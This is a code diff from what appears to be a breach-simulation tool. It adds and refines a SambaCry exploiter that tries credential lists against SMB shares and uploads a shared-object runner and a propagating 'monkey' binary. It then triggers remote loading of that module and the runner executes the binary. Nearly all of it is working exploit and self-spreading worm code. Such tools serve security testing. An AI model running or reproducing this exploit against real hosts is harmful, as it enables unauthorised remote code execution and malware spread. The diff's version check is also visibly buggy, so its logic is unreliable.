diff --git a/chaos_monkey/config.py b/chaos_monkey/config.py index a9007edb3..659f26120 100644 --- a/chaos_monkey/config.py +++ b/chaos_monkey/config.py @@ -1,7 +1,8 @@ import os import sys from network.range import FixedRange, RelativeRange, ClassCRange -from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter, SSHExploiter, ShellShockExploiter +from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter, SSHExploiter, ShellShockExploiter,\ + SambaCryExploiter from network import TcpScanner, PingScanner, SMBFinger, SSHFinger, HTTPFinger from abc import ABCMeta from itertools import product @@ -141,7 +142,7 @@ class Configuration(object): scanner_class = TcpScanner finger_classes = [SMBFinger, SSHFinger, PingScanner, HTTPFinger] exploiter_classes = [SmbExploiter, WmiExploiter, RdpExploiter, Ms08_067_Exploiter, # Windows exploits - SSHExploiter, ShellShockExploiter # Linux + SSHExploiter, ShellShockExploiter, SambaCryExploiter # Linux ] # how many victims to look for in a single scan iteration diff --git a/chaos_monkey/exploit/__init__.py b/chaos_monkey/exploit/__init__.py index 1063e256d..1b12afd2f 100644 --- a/chaos_monkey/exploit/__init__.py +++ b/chaos_monkey/exploit/__init__.py @@ -20,3 +20,4 @@ from smbexec import SmbExploiter from rdpgrinder import RdpExploiter from sshexec import SSHExploiter from shellshock import ShellShockExploiter +from sambacry import SambaCryExploiter diff --git a/chaos_monkey/exploit/sambacry.py b/chaos_monkey/exploit/sambacry.py index af0246184..cdee14dd8 100644 --- a/chaos_monkey/exploit/sambacry.py +++ b/chaos_monkey/exploit/sambacry.py @@ -2,7 +2,12 @@ from optparse import OptionParser from impacket.dcerpc.v5 import transport from os import path import time +import sys +from io import BytesIO +import logging +import re from impacket.smbconnection import SMBConnection +import impacket.smbconnection from impacket.smb import SessionError from impacket.nt_errors import STATUS_OBJECT_NAME_NOT_FOUND, STATUS_ACCESS_DENIED from impacket.nt_errors import STATUS_SUCCESS @@ -13,42 +18,46 @@ from impacket.smb3structs import SMB2_IL_IMPERSONATION, SMB2_CREATE, SMB2_FLAGS_ from exploit import HostExploiter from exploit.tools import get_target_monkey -from smbfinger import SMB_SERVICE +from network.smbfinger import SMB_SERVICE from model import DROPPER_ARG from tools import build_monkey_commandline import monkeyfs -from config import WormConfiguration __author__ = 'itay.mizeretz' # TODO: add documentation -# TODO: add logs # TODO: add license credit?: https://github.com/CoreSecurity/impacket/blob/master/examples/sambaPipe.py # TODO: remove /home/user # TODO: take all from config FOLDER_PATHS_TO_GUESS = ['', '/mnt', '/tmp', '/storage', '/export', '/share', '/shares', '/home', '/home/user'] -RUNNER_FILENAME_32 = "monkey_runner32.so" -RUNNER_FILENAME_64 = "monkey_runner64.so" +RUNNER_FILENAME_32 = "sc_monkey_runner32.so" +RUNNER_FILENAME_64 = "sc_monkey_runner64.so" COMMANDLINE_FILENAME = "monkey_commandline.txt" MONKEY_FILENAME_32 = "monkey32" MONKEY_FILENAME_64 = "monkey64" MONKEY_COPY_FILENAME_32 = "monkey32_2" MONKEY_COPY_FILENAME_64 = "monkey64_2" +RUNNER_RESULT_FILENAME = "monkey_runner_result" SHARES_TO_NOT_CHECK = ["IPC$", "print$"] +LOG = logging.getLogger(__name__) + class SambaCryExploiter(HostExploiter): _target_os_type = ['linux'] def __init__(self): - pass + self._config = __import__('config').WormConfiguration def exploit_host(self, host, depth=-1, src_path=None): - self.is_vulnerable(host) + if not self.is_vulnerable(host): + return writable_shares_creds_dict = self.get_writable_shares_creds_dict(host.ip_addr) + LOG.info("Writable shares and their credentials on host %s: %s" % + (host.ip_addr, str(writable_shares_creds_dict))) # TODO: decide about ignoring src_path because of arc detection bug src_path = src_path or get_target_monkey(host) @@ -59,30 +68,64 @@ class SambaCryExploiter(HostExploiter): # TODO: config sleep time time.sleep(5) + successfully_triggered_shares = [] + for share in writable_shares_creds_dict: - self.clean_share(host.ip_addr, share, writable_shares_creds_dict[share]) + trigger_result = self.get_trigger_result(host.ip_addr, share, writable_shares_creds_dict[share]) + if trigger_result is not None: + successfully_triggered_shares.append((share, trigger_result)) + # TODO: uncomment + #self.clean_share(host.ip_addr, share, writable_shares_creds_dict[share]) + + # TODO: send telemetry + + if len(successfully_triggered_shares) > 0: + LOG.info("Shares triggered successfully on host %s: %s" % (host.ip_addr, str(successfully_triggered_shares))) + return True + else: + LOG.info("No shares triggered successfully on host %s" % host.ip_addr) + return False def try_exploit_share(self, host, share, creds, monkey_bin_src_path, depth): - smb_client = self.connect_to_server(host.ip_addr, creds) - self.upload_module(smb_client, host, share, monkey_bin_src_path, depth) - self.trigger_module(smb_client, share) - smb_client.logoff() + try: + smb_client = self.connect_to_server(host.ip_addr, creds) + self.upload_module(smb_client, host, share, monkey_bin_src_path, depth) + self.trigger_module(smb_client, share) + smb_client.close() + except (impacket.smbconnection.SessionError, SessionError): + LOG.debug("Exception trying to exploit host: %s, share: %s, with creds: %s." % (host.ip_addr, share, str(creds))) def clean_share(self, ip, share, creds): smb_client = self.connect_to_server(ip, creds) tree_id = smb_client.connectTree(share) - file_list = [COMMANDLINE_FILENAME, RUNNER_FILENAME_32, RUNNER_FILENAME_64, + file_list = [COMMANDLINE_FILENAME, RUNNER_RESULT_FILENAME, + RUNNER_FILENAME_32, RUNNER_FILENAME_64, MONKEY_FILENAME_32, MONKEY_FILENAME_64, MONKEY_COPY_FILENAME_32, MONKEY_COPY_FILENAME_64] for filename in file_list: try: smb_client.deleteFile(share, "\\%s" % filename) - except: + except (impacket.smbconnection.SessionError, SessionError): # Ignore exception to try and delete as much as possible pass smb_client.disconnectTree(tree_id) - smb_client.logoff() + smb_client.close() + + def get_trigger_result(self, ip, share, creds): + smb_client = self.connect_to_server(ip, creds) + tree_id = smb_client.connectTree(share) + file_content = None + try: + file_id = smb_client.openFile(share, "\\%s" % RUNNER_RESULT_FILENAME, desiredAccess=FILE_READ_DATA) + file_content = smb_client.readFile(tree_id, file_id) + smb_client.closeFile(tree_id, file_id) + except (impacket.smbconnection.SessionError, SessionError) as e: + pass + + smb_client.disconnectTree(tree_id) + smb_client.close() + return file_content def get_writable_shares_creds_dict(self, ip): # TODO: document @@ -90,24 +133,28 @@ class SambaCryExploiter(HostExploiter): credentials_list = self.get_credentials_list() for credentials in credentials_list: - smb_client = self.connect_to_server(ip, credentials) - shares = self.list_shares(smb_client) + try: + smb_client = self.connect_to_server(ip, credentials) + shares = self.list_shares(smb_client) - # don't try shares we can already write to. - for writable_share in writable_shares_creds_dict: - if writable_share in shares: - shares.remove(writable_share) + # don't try shares we can already write to. + for writable_share in writable_shares_creds_dict: + if writable_share in shares: + shares.remove(writable_share) - for share in shares: - if self.is_share_writable(smb_client, share): - writable_shares_creds_dict[share] = credentials + for share in shares: + if self.is_share_writable(smb_client, share): + writable_shares_creds_dict[share] = credentials - smb_client.logoff() + smb_client.close() + except (impacket.smbconnection.SessionError, SessionError): + # If failed using some credentials, try others. + pass return writable_shares_creds_dict def get_credentials_list(self): - user_password_pairs = WormConfiguration.get_exploit_user_password_pairs() + user_password_pairs = self._config.get_exploit_user_password_pairs() credentials_list = [{'username': '', 'password': '', 'lm_hash': '', 'ntlm_hash': ''}] for user, password in user_password_pairs: @@ -124,26 +171,45 @@ class SambaCryExploiter(HostExploiter): return shares def is_vulnerable(self, host): - if not host.services.has_key(SMB_SERVICE): + if SMB_SERVICE not in host.services: + LOG.info("Host: %s doesn't have SMB open" % host.ip_addr) return False - # TODO: check if version is supported - # smb_server_name = host.services[SMB_SERVICE].get('name') - return True + pattern = re.compile(r'\d*\.\d*\.\d*') + smb_server_name = host.services[SMB_SERVICE].get('name') + samba_version = "unknown" + pattern_result = pattern.search(smb_server_name) + is_vulnerable = False + if pattern_result is not None: + samba_version = smb_server_name[pattern_result.start():pattern_result.end()] + samba_version_parts = samba_version.split('.') + if (samba_version_parts[0] == "3") and (samba_version_parts[1] >= "5"): + is_vulnerable = True + elif (samba_version_parts[0] == "4") and (samba_version_parts[1] <= "3"): + is_vulnerable = True + elif (samba_version_parts[0] == "4") and (samba_version_parts[1] == "4") and (samba_version_parts[1] <= "13"): + is_vulnerable = True + elif (samba_version_parts[0] == "4") and (samba_version_parts[1] == "5") and (samba_version_parts[1] <= "9"): + is_vulnerable = True + elif (samba_version_parts[0] == "4") and (samba_version_parts[1] == "6") and (samba_version_parts[1] <= "3"): + is_vulnerable = True + + LOG.info("Host: %s.samba server name: %s. samba version: %s. is vulnerable: %d" % + (host.ip_addr, smb_server_name, samba_version, int(is_vulnerable))) + + return is_vulnerable def is_share_writable(self, smb_client, share): - # TODO: logs - #logging.debug('Checking %s for write access' % shareName) + LOG.debug('Checking %s for write access' % share) try: - #logging.debug('Connecting to share %s' % shareName) tree_id = smb_client.connectTree(share) - except Exception as e: + except (impacket.smbconnection.SessionError, SessionError): return False try: smb_client.openFile(tree_id, '\\', FILE_WRITE_DATA, creationOption=FILE_DIRECTORY_FILE) writable = True - except Exception as e: + except (impacket.smbconnection.SessionError, SessionError): writable = False pass @@ -153,20 +219,21 @@ class SambaCryExploiter(HostExploiter): def upload_module(self, smb_client, host, share, monkey_bin_src_path, depth): tree_id = smb_client.connectTree(share) - self.write_file_to_server(smb_client, share, COMMANDLINE_FILENAME, self.get_monkey_commandline_supplier(host, depth)) + + with self.get_monkey_commandline_file(host, depth, self._config.dropper_target_path_linux) as monkey_commandline_file: + smb_client.putFile(share, "\\%s" % COMMANDLINE_FILENAME, monkey_commandline_file.read) + with self.get_monkey_runner_bin_file(True) as monkey_runner_bin_file: - self.write_file_to_server(smb_client, share, RUNNER_FILENAME_32, monkey_runner_bin_file.read) + smb_client.putFile(share, "\\%s" % RUNNER_FILENAME_32, monkey_runner_bin_file.read) + with self.get_monkey_runner_bin_file(False) as monkey_runner_bin_file: - self.write_file_to_server(smb_client, share, RUNNER_FILENAME_64, monkey_runner_bin_file.read) + smb_client.putFile(share, "\\%s" % RUNNER_FILENAME_64, monkey_runner_bin_file.read) + with monkeyfs.open(monkey_bin_src_path, "rb") as monkey_bin_file: # TODO: Fix or postpone 32/64 architecture problem. - self.write_file_to_server(smb_client, share, MONKEY_FILENAME_32, monkey_bin_file.read) - self.write_file_to_server(smb_client, share, MONKEY_FILENAME_64, monkey_bin_file.read) - smb_client.disconnectTree(tree_id) + smb_client.putFile(share, "\\%s" % MONKEY_FILENAME_64, monkey_bin_file.read) - def write_file_to_server(self, smb_client, share, file_name, file_handle): - smb_client.putFile(share, "\\%s" % file_name, file_handle.read) - file_handle.close() + smb_client.disconnectTree(tree_id) def connect_to_server(self, ip, credentials): """ @@ -176,7 +243,8 @@ class SambaCryExploiter(HostExploiter): :return: SMBConnection object representing the connection """ smb_client = SMBConnection(ip, ip) - smb_client.login(credentials["username"], credentials["password"], '', credentials["lm_hash"], credentials["ntlm_hash"]) + smb_client.login( + credentials["username"], credentials["password"], '', credentials["lm_hash"], credentials["ntlm_hash"]) return smb_client def trigger_module(self, smb_client, share_name): @@ -192,18 +260,21 @@ class SambaCryExploiter(HostExploiter): Tries triggering module by path :param smb_client: smb client object :param module_path: full path of the module. e.g. "/home/user/share/sc_module.so" - :return: False on unexpected exception. True otherwise + :return: True if might triggered successfully, False otherwise. """ try: # the extra / on the beginning is required for the vulnerability self.openPipe(smb_client, "/" + module_path) - except SessionError as e: + except (impacket.smbconnection.SessionError, SessionError) as e: # This is the expected result. We can't tell whether we succeeded or not just by this error code. - if str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') < 0: - return False + if str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >= 0: + return True + else: + # TODO: remove print + print str(e) - return True + return False @staticmethod def generate_module_possible_paths(share_name): @@ -212,30 +283,29 @@ class SambaCryExploiter(HostExploiter): :param share_name: Name of the share :return: Array of possible full paths to the module. """ - possible_paths_32 =\ - (('%s/%s/%s' % (folder_path, share_name, RUNNER_FILENAME_32)) for folder_path in FOLDER_PATHS_TO_GUESS) - possible_paths_64 = \ - (('%s/%s/%s' % (folder_path, share_name, RUNNER_FILENAME_64)) for folder_path in FOLDER_PATHS_TO_GUESS) - return possible_paths_32 + possible_paths_64 + possible_paths = [] + + for folder_path in FOLDER_PATHS_TO_GUESS: + for file_name in [RUNNER_FILENAME_32, RUNNER_FILENAME_64]: + possible_paths.append('%s/%s/%s' % (folder_path, share_name, file_name)) + return possible_paths @staticmethod def get_monkey_runner_bin_file(is_32bit): - # TODO: get from config if is_32bit: - return open("sc_monkey_runner32.so", "rb") + return open(path.join(sys._MEIPASS, RUNNER_FILENAME_32), "rb") else: - return open("sc_monkey_runner64.so", "rb") + return open(path.join(sys._MEIPASS, RUNNER_FILENAME_64), "rb") @staticmethod - def get_monkey_commandline_supplier(host, depth): - return lambda x: DROPPER_ARG + build_monkey_commandline(host, depth - 1) + def get_monkey_commandline_file(host, depth, location): + return BytesIO(DROPPER_ARG + build_monkey_commandline(host, depth - 1, location)) # Following are slightly modified SMB functions from impacket to fit our needs of the vulnerability # - - def createSmb(self, smb_client, treeId, fileName, desiredAccess, shareMode, creationOptions, creationDisposition, fileAttributes, - impersonationLevel=SMB2_IL_IMPERSONATION, securityFlags=0, oplockLevel=SMB2_OPLOCK_LEVEL_NONE, - createContexts=None): + def createSmb(self, smb_client, treeId, fileName, desiredAccess, shareMode, creationOptions, creationDisposition, + fileAttributes, impersonationLevel=SMB2_IL_IMPERSONATION, securityFlags=0, + oplockLevel=SMB2_OPLOCK_LEVEL_NONE, createContexts=None): packet = smb_client.getSMBServer().SMB_PACKET() packet['Command'] = SMB2_CREATE @@ -283,9 +353,7 @@ class SambaCryExploiter(HostExploiter): # We need to overwrite Impacket's openFile functions since they automatically convert paths to NT style # to make things easier for the caller. Not this time ;) treeId = smb_client.connectTree('IPC$') - # TODO: uncomment - #logging.info('Final path to load is %s' % pathName) - #logging.info('Triggering bug now, cross your fingers') + LOG.debug('Triggering path: %s' % pathName) if smb_client.getDialect() == SMB_DIALECT: _, flags2 = smb_client.getSMBServer().get_flags() @@ -312,4 +380,4 @@ class SambaCryExploiter(HostExploiter): return smb_client.getSMBServer().nt_create_andx(treeId, pathName, cmd=ntCreate) else: return self.createSmb(smb_client, treeId, pathName, desiredAccess=FILE_READ_DATA, shareMode=FILE_SHARE_READ, - creationOptions=FILE_OPEN, creationDisposition=FILE_NON_DIRECTORY_FILE, fileAttributes=0) \ No newline at end of file + creationOptions=FILE_OPEN, creationDisposition=FILE_NON_DIRECTORY_FILE, fileAttributes=0) diff --git a/chaos_monkey/exploit/tools.py b/chaos_monkey/exploit/tools.py index b6cee68ac..2ed5837f9 100644 --- a/chaos_monkey/exploit/tools.py +++ b/chaos_monkey/exploit/tools.py @@ -443,7 +443,7 @@ def get_target_monkey(host): return monkey_path -def build_monkey_commandline(target_host, depth): +def build_monkey_commandline(target_host, depth, location=None): from config import WormConfiguration, GUID cmdline = "" @@ -458,6 +458,9 @@ def build_monkey_commandline(target_host, depth): cmdline += " -d %d" % depth + if location is not None: + cmdline += " -l %s" % location + return cmdline diff --git a/chaos_monkey/monkey_utils/sambacry_monkey_runner/build.sh b/chaos_monkey/monkey_utils/sambacry_monkey_runner/build.sh index 958a2588c..d1cfd5545 100644 --- a/chaos_monkey/monkey_utils/sambacry_monkey_runner/build.sh +++ b/chaos_monkey/monkey_utils/sambacry_monkey_runner/build.sh @@ -1,2 +1,2 @@ -gcc -c -Wall -Werror -fpic monkey_runner.c -gcc -shared -o monkey_runner.so monkey_runner.o \ No newline at end of file +gcc -c -Wall -Werror -fpic sc_monkey_runner.c +gcc -shared -o sc_monkey_runner.so sc_monkey_runner.o diff --git a/chaos_monkey/monkey_utils/sambacry_monkey_runner/monkey_runner.c b/chaos_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.c similarity index 79% rename from chaos_monkey/monkey_utils/sambacry_monkey_runner/monkey_runner.c rename to chaos_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.c index 4938fb783..4f65298e0 100644 --- a/chaos_monkey/monkey_utils/sambacry_monkey_runner/monkey_runner.c +++ b/chaos_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.c @@ -4,13 +4,13 @@ #include #include -#include "monkey_runner.h" +#include "sc_monkey_runner.h" -#if __x86_64__ +#ifdef __x86_64__ #define ARC_IS_64 #endif -#if _____LP64_____ +#ifdef _____LP64_____ #define ARC_IS_64 #endif @@ -19,16 +19,16 @@ int samba_init_module(void) { -#if ARC_IS_64 - const char RUNNER_FILENAME[] = "monkey_runner64.so"; +#ifdef ARC_IS_64 + const char RUNNER_FILENAME[] = "sc_monkey_runner64.so"; const char MONKEY_NAME[] = "monkey64"; const char MONKEY_COPY_NAME[] = "monkey64_2"; #else - const char RUNNER_FILENAME[] = "monkey_runner32.so"; + const char RUNNER_FILENAME[] = "sc_monkey_runner32.so"; const char MONKEY_NAME[] = "monkey32"; const char MONKEY_COPY_NAME[] = "monkey32_2"; #endif - + const char RUNNER_RESULT_FILENAME[] = "monkey_runner_result"; const char COMMANDLINE_FILENAME[] = "monkey_commandline.txt"; const char ACCESS_MODE_STRING[] = "0777"; const char RUN_MONKEY_CMD[] = "sudo ./"; @@ -83,6 +83,16 @@ int samba_init_module(void) return 0; } + // Write file to indicate we're running + pFile = fopen(RUNNER_RESULT_FILENAME, "w"); + if (pFile == NULL) + { + return 0; + } + + fwrite(monkeyDirectory, 1, strlen(monkeyDirectory), pFile); + fclose(pFile); + // Read commandline pFile = fopen(COMMANDLINE_FILENAME, "r"); if (pFile == NULL) @@ -106,12 +116,12 @@ int samba_init_module(void) return 0; } - if (0 != fseek (pFile , 0 , SEEK_END)) + if (0 != fseek (pFile, 0 ,SEEK_END)) { return 0; } - monkeySize = ftell (pFile); + monkeySize = ftell(pFile); if (-1 == monkeySize) { @@ -131,19 +141,24 @@ int samba_init_module(void) fclose(pFile); pFile = fopen(MONKEY_COPY_NAME, "wb"); + if (pFile == NULL) + { + free(monkeyBinary); + return 0; + } fwrite(monkeyBinary, 1, monkeySize, pFile); fclose(pFile); free(monkeyBinary); // Change monkey permissions accessMode = strtol(ACCESS_MODE_STRING, 0, 8); - if (chmod (MONKEY_COPY_NAME, accessMode) < 0) + if (chmod(MONKEY_COPY_NAME, accessMode) < 0) { return 0; } system(commandline); - + return 0; } diff --git a/chaos_monkey/monkey_utils/sambacry_monkey_runner/monkey_runner.h b/chaos_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.h similarity index 100% rename from chaos_monkey/monkey_utils/sambacry_monkey_runner/monkey_runner.h rename to chaos_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.h